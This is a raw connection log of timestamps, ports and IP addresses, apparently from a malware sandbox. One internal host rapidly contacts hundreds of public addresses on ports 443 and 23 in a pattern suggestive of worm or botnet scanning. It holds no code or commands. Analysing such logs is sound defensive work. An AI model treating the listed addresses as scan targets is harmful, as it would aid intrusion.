Dec 27, 2024 05:02:50.667081118 CET	14257	443	192.168.2.23	2.34.187.78
Dec 27, 2024 05:02:50.667081118 CET	14257	443	192.168.2.23	42.203.228.48
Dec 27, 2024 05:02:50.667085886 CET	14257	443	192.168.2.23	202.248.143.179
Dec 27, 2024 05:02:50.667098999 CET	14257	443	192.168.2.23	42.179.76.19
Dec 27, 2024 05:02:50.667104006 CET	14257	443	192.168.2.23	123.246.174.78
Dec 27, 2024 05:02:50.667104959 CET	14257	443	192.168.2.23	118.58.250.31
Dec 27, 2024 05:02:50.667120934 CET	14257	443	192.168.2.23	210.248.21.224
Dec 27, 2024 05:02:50.667120934 CET	14257	443	192.168.2.23	94.186.6.142
Dec 27, 2024 05:02:50.667126894 CET	14257	443	192.168.2.23	202.118.249.135
Dec 27, 2024 05:02:50.667128086 CET	14257	443	192.168.2.23	117.91.114.67
Dec 27, 2024 05:02:50.667130947 CET	14257	443	192.168.2.23	148.243.145.198
Dec 27, 2024 05:02:50.667133093 CET	14257	443	192.168.2.23	178.159.49.49
Dec 27, 2024 05:02:50.667148113 CET	14257	443	192.168.2.23	178.249.96.77
Dec 27, 2024 05:02:50.667150974 CET	14257	443	192.168.2.23	79.143.191.79
Dec 27, 2024 05:02:50.667152882 CET	14257	443	192.168.2.23	202.13.143.18
Dec 27, 2024 05:02:50.667154074 CET	14257	443	192.168.2.23	42.84.34.11
Dec 27, 2024 05:02:50.667181015 CET	14257	443	192.168.2.23	210.95.251.109
Dec 27, 2024 05:02:50.667182922 CET	14257	443	192.168.2.23	42.22.123.119
Dec 27, 2024 05:02:50.667198896 CET	14257	443	192.168.2.23	178.210.228.158
Dec 27, 2024 05:02:50.667201042 CET	14257	443	192.168.2.23	5.96.97.141
Dec 27, 2024 05:02:50.667212963 CET	14257	443	192.168.2.23	148.196.157.144
Dec 27, 2024 05:02:50.667217970 CET	14257	443	192.168.2.23	118.38.56.74
Dec 27, 2024 05:02:50.667218924 CET	14257	443	192.168.2.23	109.135.169.10
Dec 27, 2024 05:02:50.667218924 CET	14257	443	192.168.2.23	212.32.237.138
Dec 27, 2024 05:02:50.667253971 CET	14257	443	192.168.2.23	178.167.100.40
Dec 27, 2024 05:02:50.667258978 CET	14257	443	192.168.2.23	210.41.53.254
Dec 27, 2024 05:02:50.667275906 CET	14257	443	192.168.2.23	123.12.12.77
Dec 27, 2024 05:02:50.667277098 CET	14257	443	192.168.2.23	94.53.25.217
Dec 27, 2024 05:02:50.667275906 CET	14257	443	192.168.2.23	109.113.151.85
Dec 27, 2024 05:02:50.667284012 CET	14257	443	192.168.2.23	37.67.23.88
Dec 27, 2024 05:02:50.667293072 CET	14257	443	192.168.2.23	79.172.136.110
Dec 27, 2024 05:02:50.667294979 CET	14257	443	192.168.2.23	5.221.28.65
Dec 27, 2024 05:02:50.667320013 CET	14257	443	192.168.2.23	117.240.159.157
Dec 27, 2024 05:02:50.667325974 CET	14257	443	192.168.2.23	109.241.145.9
Dec 27, 2024 05:02:50.667326927 CET	14257	443	192.168.2.23	42.214.80.129
Dec 27, 2024 05:02:50.667326927 CET	14257	443	192.168.2.23	42.97.192.19
Dec 27, 2024 05:02:50.667330027 CET	14257	443	192.168.2.23	79.233.125.162
Dec 27, 2024 05:02:50.667330980 CET	14257	443	192.168.2.23	2.251.228.172
Dec 27, 2024 05:02:50.667330980 CET	14257	443	192.168.2.23	123.102.195.72
Dec 27, 2024 05:02:50.667331934 CET	14257	443	192.168.2.23	117.18.55.47
Dec 27, 2024 05:02:50.667331934 CET	14257	443	192.168.2.23	109.98.59.30
Dec 27, 2024 05:02:50.667337894 CET	14257	443	192.168.2.23	118.102.4.73
Dec 27, 2024 05:02:50.667350054 CET	14257	443	192.168.2.23	148.55.218.164
Dec 27, 2024 05:02:50.667355061 CET	14257	443	192.168.2.23	148.85.142.147
Dec 27, 2024 05:02:50.667355061 CET	14257	443	192.168.2.23	148.202.137.110
Dec 27, 2024 05:02:50.667359114 CET	14257	443	192.168.2.23	123.118.101.220
Dec 27, 2024 05:02:50.667371988 CET	14257	443	192.168.2.23	148.15.153.105
Dec 27, 2024 05:02:50.667376041 CET	14257	443	192.168.2.23	42.112.209.131
Dec 27, 2024 05:02:50.667376041 CET	14257	443	192.168.2.23	118.179.240.111
Dec 27, 2024 05:02:50.667380095 CET	14257	443	192.168.2.23	118.141.182.180
Dec 27, 2024 05:02:50.667383909 CET	14257	443	192.168.2.23	5.8.95.189
Dec 27, 2024 05:02:50.670871019 CET	38306	443	192.168.2.23	117.122.210.121
Dec 27, 2024 05:02:50.675236940 CET	57928	443	192.168.2.23	212.42.196.121
Dec 27, 2024 05:02:50.675247908 CET	443	57928	212.42.196.121	192.168.2.23
Dec 27, 2024 05:02:50.675295115 CET	57928	443	192.168.2.23	212.42.196.121
Dec 27, 2024 05:02:50.678277969 CET	46284	443	192.168.2.23	148.179.162.252
Dec 27, 2024 05:02:50.727618933 CET	35634	443	192.168.2.23	79.117.36.116
Dec 27, 2024 05:02:50.727628946 CET	443	35634	79.117.36.116	192.168.2.23
Dec 27, 2024 05:02:50.727679014 CET	35634	443	192.168.2.23	79.117.36.116
Dec 27, 2024 05:02:50.740955114 CET	23	14219	111.171.211.121	192.168.2.23
Dec 27, 2024 05:02:50.740968943 CET	23	14219	64.105.230.170	192.168.2.23
Dec 27, 2024 05:02:50.740979910 CET	23	14219	108.185.146.220	192.168.2.23
Dec 27, 2024 05:02:50.741003036 CET	23	14219	24.43.4.118	192.168.2.23
Dec 27, 2024 05:02:50.741007090 CET	14219	23	192.168.2.23	111.171.211.121
Dec 27, 2024 05:02:50.741007090 CET	14219	23	192.168.2.23	64.105.230.170
Dec 27, 2024 05:02:50.741013050 CET	23	14219	87.108.35.242	192.168.2.23
Dec 27, 2024 05:02:50.741024971 CET	23	14219	66.178.90.7	192.168.2.23
Dec 27, 2024 05:02:50.741034985 CET	23	14219	83.220.255.252	192.168.2.23
Dec 27, 2024 05:02:50.741034985 CET	14219	23	192.168.2.23	108.185.146.220
Dec 27, 2024 05:02:50.741034985 CET	14219	23	192.168.2.23	24.43.4.118
Dec 27, 2024 05:02:50.741045952 CET	23	14219	75.228.162.90	192.168.2.23
Dec 27, 2024 05:02:50.741055012 CET	14219	23	192.168.2.23	87.108.35.242
Dec 27, 2024 05:02:50.741065979 CET	23	14219	176.95.184.114	192.168.2.23
Dec 27, 2024 05:02:50.741067886 CET	14219	23	192.168.2.23	75.228.162.90
Dec 27, 2024 05:02:50.741069078 CET	14219	23	192.168.2.23	66.178.90.7
Dec 27, 2024 05:02:50.741075039 CET	14219	23	192.168.2.23	83.220.255.252
Dec 27, 2024 05:02:50.741127014 CET	14219	23	192.168.2.23	176.95.184.114
Dec 27, 2024 05:02:50.741134882 CET	23	14219	163.46.45.222	192.168.2.23
Dec 27, 2024 05:02:50.741146088 CET	23	14219	192.80.81.191	192.168.2.23
Dec 27, 2024 05:02:50.741156101 CET	23	14219	144.68.60.194	192.168.2.23
Dec 27, 2024 05:02:50.741169930 CET	14219	23	192.168.2.23	163.46.45.222
Dec 27, 2024 05:02:50.741178036 CET	14219	23	192.168.2.23	192.80.81.191
Dec 27, 2024 05:02:50.741187096 CET	14219	23	192.168.2.23	144.68.60.194
Dec 27, 2024 05:02:50.743763924 CET	45762	443	192.168.2.23	148.145.179.7
Dec 27, 2024 05:02:50.743776083 CET	443	45762	148.145.179.7	192.168.2.23
Dec 27, 2024 05:02:50.743832111 CET	45762	443	192.168.2.23	148.145.179.7
Dec 27, 2024 05:02:50.762202024 CET	58212	443	192.168.2.23	37.221.47.40
Dec 27, 2024 05:02:50.762217999 CET	443	58212	37.221.47.40	192.168.2.23
Dec 27, 2024 05:02:50.762265921 CET	58212	443	192.168.2.23	37.221.47.40
Dec 27, 2024 05:02:50.786075115 CET	50572	443	192.168.2.23	2.141.112.242
Dec 27, 2024 05:02:50.786098957 CET	443	50572	2.141.112.242	192.168.2.23
Dec 27, 2024 05:02:50.786140919 CET	50572	443	192.168.2.23	2.141.112.242
Dec 27, 2024 05:02:50.788873911 CET	51390	443	192.168.2.23	109.2.18.133
Dec 27, 2024 05:02:50.788897038 CET	443	51390	109.2.18.133	192.168.2.23
Dec 27, 2024 05:02:50.788947105 CET	51390	443	192.168.2.23	109.2.18.133
Dec 27, 2024 05:02:50.791834116 CET	43602	443	192.168.2.23	79.141.28.208
Dec 27, 2024 05:02:50.791853905 CET	443	43602	79.141.28.208	192.168.2.23
Dec 27, 2024 05:02:50.791896105 CET	43602	443	192.168.2.23	79.141.28.208
Dec 27, 2024 05:02:50.795061111 CET	33534	443	192.168.2.23	212.181.236.170
Dec 27, 2024 05:02:50.795073986 CET	443	33534	212.181.236.170	192.168.2.23
Dec 27, 2024 05:02:50.795114994 CET	33534	443	192.168.2.23	212.181.236.170
Dec 27, 2024 05:02:50.797972918 CET	47168	443	192.168.2.23	94.204.32.24
Dec 27, 2024 05:02:50.798000097 CET	443	47168	94.204.32.24	192.168.2.23
Dec 27, 2024 05:02:50.798038960 CET	47168	443	192.168.2.23	94.204.32.24
Dec 27, 2024 05:02:50.801203012 CET	40276	443	192.168.2.23	212.8.35.3
Dec 27, 2024 05:02:50.801239967 CET	443	40276	212.8.35.3	192.168.2.23
Dec 27, 2024 05:02:50.801299095 CET	40276	443	192.168.2.23	212.8.35.3
Dec 27, 2024 05:02:50.803704023 CET	54674	443	192.168.2.23	210.20.42.251
Dec 27, 2024 05:02:50.803709984 CET	443	54674	210.20.42.251	192.168.2.23
Dec 27, 2024 05:02:50.803750038 CET	54674	443	192.168.2.23	210.20.42.251
Dec 27, 2024 05:02:50.806822062 CET	47200	443	192.168.2.23	2.136.69.150
Dec 27, 2024 05:02:50.806828976 CET	443	47200	2.136.69.150	192.168.2.23
Dec 27, 2024 05:02:50.806869030 CET	47200	443	192.168.2.23	2.136.69.150
Dec 27, 2024 05:02:50.810636997 CET	48306	443	192.168.2.23	212.173.139.86
Dec 27, 2024 05:02:50.810667038 CET	443	48306	212.173.139.86	192.168.2.23
Dec 27, 2024 05:02:50.810709953 CET	48306	443	192.168.2.23	212.173.139.86
Dec 27, 2024 05:02:50.814954996 CET	56356	443	192.168.2.23	42.54.192.220
Dec 27, 2024 05:02:50.814965010 CET	443	56356	42.54.192.220	192.168.2.23
Dec 27, 2024 05:02:50.815010071 CET	56356	443	192.168.2.23	42.54.192.220
Dec 27, 2024 05:02:50.818414927 CET	33894	443	192.168.2.23	118.125.145.2
Dec 27, 2024 05:02:50.818423986 CET	443	33894	118.125.145.2	192.168.2.23
Dec 27, 2024 05:02:50.818461895 CET	33894	443	192.168.2.23	118.125.145.2
Dec 27, 2024 05:02:50.819874048 CET	37338	443	192.168.2.23	94.189.246.132
Dec 27, 2024 05:02:50.819881916 CET	443	37338	94.189.246.132	192.168.2.23
Dec 27, 2024 05:02:50.819919109 CET	37338	443	192.168.2.23	94.189.246.132
Dec 27, 2024 05:02:50.821285009 CET	50634	443	192.168.2.23	178.153.133.249
Dec 27, 2024 05:02:50.822705030 CET	60108	443	192.168.2.23	212.132.80.216
Dec 27, 2024 05:02:50.824139118 CET	48832	443	192.168.2.23	202.218.34.65
Dec 27, 2024 05:02:50.825577974 CET	49212	443	192.168.2.23	2.52.0.81
Dec 27, 2024 05:02:50.827008963 CET	47650	443	192.168.2.23	148.4.14.33
Dec 27, 2024 05:02:50.828453064 CET	34902	443	192.168.2.23	37.113.112.26
Dec 27, 2024 05:02:50.829870939 CET	44182	443	192.168.2.23	109.140.219.87
Dec 27, 2024 05:02:50.831307888 CET	38382	443	192.168.2.23	210.22.84.182
Dec 27, 2024 05:02:50.832732916 CET	50946	443	192.168.2.23	117.173.197.150
Dec 27, 2024 05:02:50.832745075 CET	443	50946	117.173.197.150	192.168.2.23
Dec 27, 2024 05:02:50.832782984 CET	50946	443	192.168.2.23	117.173.197.150
Dec 27, 2024 05:02:50.834176064 CET	46352	443	192.168.2.23	109.184.85.55
Dec 27, 2024 05:02:50.835604906 CET	51352	443	192.168.2.23	94.145.255.162
Dec 27, 2024 05:02:50.837024927 CET	60422	443	192.168.2.23	79.23.92.34
Dec 27, 2024 05:02:50.838423967 CET	51856	443	192.168.2.23	148.230.36.204
Dec 27, 2024 05:02:50.839840889 CET	49366	443	192.168.2.23	123.74.229.203
Dec 27, 2024 05:02:50.839848995 CET	443	49366	123.74.229.203	192.168.2.23
Dec 27, 2024 05:02:50.839891911 CET	49366	443	192.168.2.23	123.74.229.203
Dec 27, 2024 05:02:50.841276884 CET	55000	443	192.168.2.23	123.232.214.93
Dec 27, 2024 05:02:50.842673063 CET	55394	443	192.168.2.23	148.254.189.231
Dec 27, 2024 05:02:50.844101906 CET	40138	443	192.168.2.23	5.3.56.22
Dec 27, 2024 05:02:50.845690966 CET	59744	443	192.168.2.23	148.73.151.120
Dec 27, 2024 05:02:50.847125053 CET	55968	443	192.168.2.23	212.58.90.28
Dec 27, 2024 05:02:50.848560095 CET	34782	443	192.168.2.23	117.45.125.118
Dec 27, 2024 05:02:50.849966049 CET	45350	443	192.168.2.23	212.19.68.20
Dec 27, 2024 05:02:50.851341009 CET	45042	443	192.168.2.23	5.188.22.2
Dec 27, 2024 05:02:50.851349115 CET	443	45042	5.188.22.2	192.168.2.23
Dec 27, 2024 05:02:50.851392984 CET	45042	443	192.168.2.23	5.188.22.2
Dec 27, 2024 05:02:50.852761984 CET	47330	443	192.168.2.23	178.188.213.115
Dec 27, 2024 05:02:50.854216099 CET	60502	443	192.168.2.23	123.226.21.45
Dec 27, 2024 05:02:50.855684996 CET	40074	443	192.168.2.23	94.249.27.56
Dec 27, 2024 05:02:50.857136965 CET	42882	443	192.168.2.23	2.172.17.28
Dec 27, 2024 05:02:50.858588934 CET	60680	443	192.168.2.23	123.154.135.31
Dec 27, 2024 05:02:50.860057116 CET	34696	443	192.168.2.23	37.140.213.213
Dec 27, 2024 05:02:50.860068083 CET	443	34696	37.140.213.213	192.168.2.23
Dec 27, 2024 05:02:50.860105991 CET	34696	443	192.168.2.23	37.140.213.213
Dec 27, 2024 05:02:50.861521006 CET	53144	443	192.168.2.23	42.114.74.64
Dec 27, 2024 05:02:50.861798048 CET	23	14219	125.250.197.121	192.168.2.23
Dec 27, 2024 05:02:50.861809969 CET	23	14219	106.28.102.166	192.168.2.23
Dec 27, 2024 05:02:50.861819983 CET	23	14219	38.135.222.122	192.168.2.23
Dec 27, 2024 05:02:50.861829996 CET	23	14219	17.137.93.191	192.168.2.23
Dec 27, 2024 05:02:50.861836910 CET	14219	23	192.168.2.23	125.250.197.121
Dec 27, 2024 05:02:50.861852884 CET	14219	23	192.168.2.23	106.28.102.166
Dec 27, 2024 05:02:50.861860037 CET	14219	23	192.168.2.23	38.135.222.122
Dec 27, 2024 05:02:50.861865997 CET	14219	23	192.168.2.23	17.137.93.191
Dec 27, 2024 05:02:50.862860918 CET	42428	443	192.168.2.23	2.248.122.231
Dec 27, 2024 05:02:50.864166975 CET	42602	443	192.168.2.23	210.126.72.59
Dec 27, 2024 05:02:50.865607023 CET	36682	443	192.168.2.23	5.18.80.144
Dec 27, 2024 05:02:50.867183924 CET	51918	443	192.168.2.23	94.228.116.188
Dec 27, 2024 05:02:50.868635893 CET	51252	443	192.168.2.23	212.71.83.33
Dec 27, 2024 05:02:50.870059967 CET	34492	443	192.168.2.23	109.183.78.152
Dec 27, 2024 05:02:50.871474028 CET	50814	443	192.168.2.23	210.197.41.68
Dec 27, 2024 05:02:50.871480942 CET	443	50814	210.197.41.68	192.168.2.23
Dec 27, 2024 05:02:50.871519089 CET	50814	443	192.168.2.23	210.197.41.68
Dec 27, 2024 05:02:50.872905016 CET	40456	443	192.168.2.23	212.12.59.250
Dec 27, 2024 05:02:50.874358892 CET	39456	443	192.168.2.23	210.163.137.103
Dec 27, 2024 05:02:50.875699997 CET	57260	443	192.168.2.23	212.189.193.93
Dec 27, 2024 05:02:50.877105951 CET	33962	443	192.168.2.23	123.40.170.183
Dec 27, 2024 05:02:50.878612041 CET	60496	443	192.168.2.23	42.115.143.75
Dec 27, 2024 05:02:50.880048990 CET	54298	443	192.168.2.23	202.68.103.45
Dec 27, 2024 05:02:50.880060911 CET	443	54298	202.68.103.45	192.168.2.23
Dec 27, 2024 05:02:50.880096912 CET	54298	443	192.168.2.23	202.68.103.45
Dec 27, 2024 05:02:50.881470919 CET	36832	443	192.168.2.23	123.27.205.254
Dec 27, 2024 05:02:50.882888079 CET	56086	443	192.168.2.23	42.95.141.43
Dec 27, 2024 05:02:50.898067951 CET	54244	443	192.168.2.23	212.166.185.113
Dec 27, 2024 05:02:50.898092031 CET	443	54244	212.166.185.113	192.168.2.23
Dec 27, 2024 05:02:50.898158073 CET	54244	443	192.168.2.23	212.166.185.113
Dec 27, 2024 05:02:50.899502039 CET	35438	443	192.168.2.23	148.112.199.224
Dec 27, 2024 05:02:50.899511099 CET	443	35438	148.112.199.224	192.168.2.23
Dec 27, 2024 05:02:50.899549961 CET	35438	443	192.168.2.23	148.112.199.224
Dec 27, 2024 05:02:50.900933027 CET	35400	443	192.168.2.23	202.170.198.229
Dec 27, 2024 05:02:50.902322054 CET	58058	443	192.168.2.23	212.78.47.138
Dec 27, 2024 05:02:50.903736115 CET	47588	443	192.168.2.23	117.111.182.109
Dec 27, 2024 05:02:50.905184984 CET	46844	443	192.168.2.23	109.111.162.164
Dec 27, 2024 05:02:50.906614065 CET	58122	443	192.168.2.23	37.129.174.150
Dec 27, 2024 05:02:50.908067942 CET	58246	443	192.168.2.23	210.94.33.7
Dec 27, 2024 05:02:50.909513950 CET	47936	443	192.168.2.23	37.156.210.7
Dec 27, 2024 05:02:50.910943031 CET	43206	443	192.168.2.23	42.115.47.220
Dec 27, 2024 05:02:50.912410021 CET	53158	443	192.168.2.23	148.159.246.178
Dec 27, 2024 05:02:50.912416935 CET	443	53158	148.159.246.178	192.168.2.23
Dec 27, 2024 05:02:50.912451029 CET	53158	443	192.168.2.23	148.159.246.178
Dec 27, 2024 05:02:50.913853884 CET	45012	443	192.168.2.23	42.142.129.91
Dec 27, 2024 05:02:50.915285110 CET	38332	443	192.168.2.23	123.92.153.143
Dec 27, 2024 05:02:50.916776896 CET	39932	443	192.168.2.23	123.200.14.224
Dec 27, 2024 05:02:50.918241978 CET	49278	443	192.168.2.23	123.106.43.220
Dec 27, 2024 05:02:50.919743061 CET	44510	443	192.168.2.23	5.153.22.141
Dec 27, 2024 05:02:50.919754028 CET	443	44510	5.153.22.141	192.168.2.23
Dec 27, 2024 05:02:50.919797897 CET	44510	443	192.168.2.23	5.153.22.141
Dec 27, 2024 05:02:50.921242952 CET	48310	443	192.168.2.23	148.123.197.254
Dec 27, 2024 05:02:50.922976017 CET	39630	443	192.168.2.23	210.24.142.44
Dec 27, 2024 05:02:50.924443007 CET	33428	443	192.168.2.23	94.57.180.144
Dec 27, 2024 05:02:50.925868034 CET	38858	443	192.168.2.23	5.194.114.237
Dec 27, 2024 05:02:50.927284956 CET	48568	443	192.168.2.23	178.89.3.203
Dec 27, 2024 05:02:50.928709030 CET	49326	443	192.168.2.23	2.181.94.12
Dec 27, 2024 05:02:50.930069923 CET	14257	443	192.168.2.23	2.234.71.49
Dec 27, 2024 05:02:50.930077076 CET	14257	443	192.168.2.23	210.128.50.18
Dec 27, 2024 05:02:50.930077076 CET	14257	443	192.168.2.23	178.141.138.225
Dec 27, 2024 05:02:50.930077076 CET	14257	443	192.168.2.23	117.78.97.152
Dec 27, 2024 05:02:50.930088043 CET	14257	443	192.168.2.23	118.17.138.98
Dec 27, 2024 05:02:50.930088997 CET	14257	443	192.168.2.23	109.0.66.90
Dec 27, 2024 05:02:50.930093050 CET	14257	443	192.168.2.23	5.52.156.202
Dec 27, 2024 05:02:50.930093050 CET	14257	443	192.168.2.23	202.126.195.65
Dec 27, 2024 05:02:50.930094957 CET	14257	443	192.168.2.23	148.94.37.119
Dec 27, 2024 05:02:50.930094957 CET	14257	443	192.168.2.23	117.60.19.85
Dec 27, 2024 05:02:50.930115938 CET	14257	443	192.168.2.23	117.210.132.84
Dec 27, 2024 05:02:50.930116892 CET	14257	443	192.168.2.23	94.8.99.221
Dec 27, 2024 05:02:50.930118084 CET	14257	443	192.168.2.23	123.99.255.242
Dec 27, 2024 05:02:50.930118084 CET	14257	443	192.168.2.23	37.31.18.135
Dec 27, 2024 05:02:50.930119038 CET	14257	443	192.168.2.23	148.132.41.244
Dec 27, 2024 05:02:50.930128098 CET	14257	443	192.168.2.23	42.111.95.225
Dec 27, 2024 05:02:50.930139065 CET	14257	443	192.168.2.23	42.107.163.242
Dec 27, 2024 05:02:50.930140018 CET	14257	443	192.168.2.23	178.55.23.62
Dec 27, 2024 05:02:50.930140018 CET	14257	443	192.168.2.23	109.214.39.36
Dec 27, 2024 05:02:50.930149078 CET	14257	443	192.168.2.23	148.37.19.62
Dec 27, 2024 05:02:50.930166006 CET	14257	443	192.168.2.23	212.50.140.213
Dec 27, 2024 05:02:50.930172920 CET	14257	443	192.168.2.23	37.35.11.250
Dec 27, 2024 05:02:50.930172920 CET	14257	443	192.168.2.23	117.19.205.189
Dec 27, 2024 05:02:50.930175066 CET	14257	443	192.168.2.23	202.204.219.139
Dec 27, 2024 05:02:50.930176020 CET	14257	443	192.168.2.23	202.154.175.75
Dec 27, 2024 05:02:50.930181980 CET	14257	443	192.168.2.23	117.42.177.81
Dec 27, 2024 05:02:50.930191994 CET	14257	443	192.168.2.23	117.204.138.99
Dec 27, 2024 05:02:50.930196047 CET	14257	443	192.168.2.23	2.7.169.180
Dec 27, 2024 05:02:50.930196047 CET	14257	443	192.168.2.23	109.201.233.205
Dec 27, 2024 05:02:50.930201054 CET	14257	443	192.168.2.23	37.234.243.239
Dec 27, 2024 05:02:50.930205107 CET	14257	443	192.168.2.23	202.105.176.167
Dec 27, 2024 05:02:50.930205107 CET	14257	443	192.168.2.23	94.7.94.3
Dec 27, 2024 05:02:50.930207014 CET	14257	443	192.168.2.23	5.161.174.25
Dec 27, 2024 05:02:50.930228949 CET	14257	443	192.168.2.23	117.199.102.60
Dec 27, 2024 05:02:50.930228949 CET	14257	443	192.168.2.23	37.41.27.217
Dec 27, 2024 05:02:50.930228949 CET	14257	443	192.168.2.23	37.36.83.121
Dec 27, 2024 05:02:50.930229902 CET	14257	443	192.168.2.23	42.11.255.212
Dec 27, 2024 05:02:50.930231094 CET	14257	443	192.168.2.23	5.110.124.3
Dec 27, 2024 05:02:50.930231094 CET	14257	443	192.168.2.23	178.19.134.186
Dec 27, 2024 05:02:50.930249929 CET	14257	443	192.168.2.23	5.148.172.117
Dec 27, 2024 05:02:50.930253029 CET	14257	443	192.168.2.23	178.162.166.59
Dec 27, 2024 05:02:50.930253029 CET	14257	443	192.168.2.23	210.106.105.205
Dec 27, 2024 05:02:50.930263996 CET	14257	443	192.168.2.23	148.229.64.222
Dec 27, 2024 05:02:50.930263996 CET	14257	443	192.168.2.23	202.245.208.27
Dec 27, 2024 05:02:50.930273056 CET	14257	443	192.168.2.23	37.166.123.222
Dec 27, 2024 05:02:50.930274963 CET	14257	443	192.168.2.23	123.75.254.146
Dec 27, 2024 05:02:50.930274963 CET	14257	443	192.168.2.23	42.124.207.84
Dec 27, 2024 05:02:50.930274963 CET	14257	443	192.168.2.23	202.245.242.199
Dec 27, 2024 05:02:50.930285931 CET	14257	443	192.168.2.23	118.193.165.72
Dec 27, 2024 05:02:50.930293083 CET	14257	443	192.168.2.23	118.86.180.105
Dec 27, 2024 05:02:50.930294037 CET	14257	443	192.168.2.23	212.195.170.49
Dec 27, 2024 05:02:50.930294037 CET	14257	443	192.168.2.23	37.183.101.79
Dec 27, 2024 05:02:50.930299044 CET	14257	443	192.168.2.23	42.199.124.174
Dec 27, 2024 05:02:50.930308104 CET	14257	443	192.168.2.23	123.209.204.11
Dec 27, 2024 05:02:50.930310011 CET	14257	443	192.168.2.23	117.169.197.187
Dec 27, 2024 05:02:50.930311918 CET	14257	443	192.168.2.23	5.101.166.165
Dec 27, 2024 05:02:50.930335045 CET	14257	443	192.168.2.23	5.85.155.229
Dec 27, 2024 05:02:50.930336952 CET	14257	443	192.168.2.23	118.149.153.216
Dec 27, 2024 05:02:50.930339098 CET	14257	443	192.168.2.23	202.79.155.137
Dec 27, 2024 05:02:50.930344105 CET	14257	443	192.168.2.23	123.55.7.153
Dec 27, 2024 05:02:50.930345058 CET	14257	443	192.168.2.23	94.1.64.113
Dec 27, 2024 05:02:50.930345058 CET	14257	443	192.168.2.23	109.1.150.8
Dec 27, 2024 05:02:50.930346966 CET	14257	443	192.168.2.23	178.160.181.75
Dec 27, 2024 05:02:50.930346966 CET	14257	443	192.168.2.23	117.212.5.121
Dec 27, 2024 05:02:50.930356026 CET	14257	443	192.168.2.23	212.60.78.205
Dec 27, 2024 05:02:50.930356979 CET	14257	443	192.168.2.23	202.21.169.161
Dec 27, 2024 05:02:50.930357933 CET	14257	443	192.168.2.23	94.40.235.59
Dec 27, 2024 05:02:50.930362940 CET	14257	443	192.168.2.23	109.10.246.225
Dec 27, 2024 05:02:50.930367947 CET	14257	443	192.168.2.23	42.158.151.165
Dec 27, 2024 05:02:50.930370092 CET	14257	443	192.168.2.23	109.19.184.36
Dec 27, 2024 05:02:50.930370092 CET	14257	443	192.168.2.23	118.10.229.127
Dec 27, 2024 05:02:50.930372000 CET	14257	443	192.168.2.23	42.250.39.88
Dec 27, 2024 05:02:50.930383921 CET	14257	443	192.168.2.23	210.87.215.103
Dec 27, 2024 05:02:50.930383921 CET	14257	443	192.168.2.23	118.9.23.129
Dec 27, 2024 05:02:50.930393934 CET	14257	443	192.168.2.23	178.132.123.2
Dec 27, 2024 05:02:50.930394888 CET	14257	443	192.168.2.23	42.89.53.91
Dec 27, 2024 05:02:50.930399895 CET	14257	443	192.168.2.23	5.78.1.117
Dec 27, 2024 05:02:50.930404902 CET	14257	443	192.168.2.23	148.163.103.101
Dec 27, 2024 05:02:50.930408955 CET	14257	443	192.168.2.23	123.107.153.250
Dec 27, 2024 05:02:50.930428028 CET	14257	443	192.168.2.23	202.191.107.1
Dec 27, 2024 05:02:50.930430889 CET	14257	443	192.168.2.23	212.15.148.6
Dec 27, 2024 05:02:50.930433989 CET	14257	443	192.168.2.23	5.23.105.99
Dec 27, 2024 05:02:50.930439949 CET	14257	443	192.168.2.23	2.245.249.245
Dec 27, 2024 05:02:50.930439949 CET	14257	443	192.168.2.23	109.80.97.16
Dec 27, 2024 05:02:50.930453062 CET	14257	443	192.168.2.23	210.31.73.221
Dec 27, 2024 05:02:50.930455923 CET	14257	443	192.168.2.23	202.60.8.232
Dec 27, 2024 05:02:50.930455923 CET	14257	443	192.168.2.23	212.210.252.253
Dec 27, 2024 05:02:50.930457115 CET	14257	443	192.168.2.23	148.230.41.64
Dec 27, 2024 05:02:50.930457115 CET	14257	443	192.168.2.23	42.97.156.91
Dec 27, 2024 05:02:50.930459976 CET	14257	443	192.168.2.23	94.237.174.171
Dec 27, 2024 05:02:50.930464029 CET	14257	443	192.168.2.23	210.62.144.14
Dec 27, 2024 05:02:50.930464029 CET	14257	443	192.168.2.23	118.102.191.210
Dec 27, 2024 05:02:50.930464029 CET	14257	443	192.168.2.23	94.110.0.40
Dec 27, 2024 05:02:50.930471897 CET	14257	443	192.168.2.23	178.42.102.125
Dec 27, 2024 05:02:50.930478096 CET	14257	443	192.168.2.23	148.187.23.68
Dec 27, 2024 05:02:50.930480957 CET	14257	443	192.168.2.23	94.51.90.138
Dec 27, 2024 05:02:50.930484056 CET	14257	443	192.168.2.23	37.158.202.177
Dec 27, 2024 05:02:50.930501938 CET	14257	443	192.168.2.23	212.48.90.107
Dec 27, 2024 05:02:50.930502892 CET	14257	443	192.168.2.23	94.71.54.202
Dec 27, 2024 05:02:50.930504084 CET	14257	443	192.168.2.23	178.156.75.30
Dec 27, 2024 05:02:50.930506945 CET	14257	443	192.168.2.23	2.201.64.199
Dec 27, 2024 05:02:50.930506945 CET	14257	443	192.168.2.23	79.219.91.234
Dec 27, 2024 05:02:50.930526972 CET	14257	443	192.168.2.23	118.91.176.238
Dec 27, 2024 05:02:50.930526972 CET	14257	443	192.168.2.23	94.40.191.137
Dec 27, 2024 05:02:50.930533886 CET	14257	443	192.168.2.23	148.7.216.41
Dec 27, 2024 05:02:50.930533886 CET	14257	443	192.168.2.23	42.184.124.102
Dec 27, 2024 05:02:50.930538893 CET	14257	443	192.168.2.23	5.151.180.222
Dec 27, 2024 05:02:50.930541039 CET	14257	443	192.168.2.23	212.178.66.133
Dec 27, 2024 05:02:50.930541039 CET	14257	443	192.168.2.23	118.196.98.41
Dec 27, 2024 05:02:50.930543900 CET	14257	443	192.168.2.23	148.13.224.66
Dec 27, 2024 05:02:50.930545092 CET	14257	443	192.168.2.23	109.94.239.44
Dec 27, 2024 05:02:50.930548906 CET	14257	443	192.168.2.23	118.181.88.215
Dec 27, 2024 05:02:50.930556059 CET	14257	443	192.168.2.23	109.113.155.150
Dec 27, 2024 05:02:50.930556059 CET	14257	443	192.168.2.23	148.19.80.175
Dec 27, 2024 05:02:50.930566072 CET	14257	443	192.168.2.23	178.68.41.158
Dec 27, 2024 05:02:50.930566072 CET	14257	443	192.168.2.23	117.192.214.140
Dec 27, 2024 05:02:50.930576086 CET	14257	443	192.168.2.23	178.195.9.149
Dec 27, 2024 05:02:50.930586100 CET	14257	443	192.168.2.23	148.111.108.26
Dec 27, 2024 05:02:50.930588007 CET	14257	443	192.168.2.23	79.244.61.62
Dec 27, 2024 05:02:50.930591106 CET	14257	443	192.168.2.23	178.239.216.131
Dec 27, 2024 05:02:50.930593014 CET	14257	443	192.168.2.23	79.8.184.210
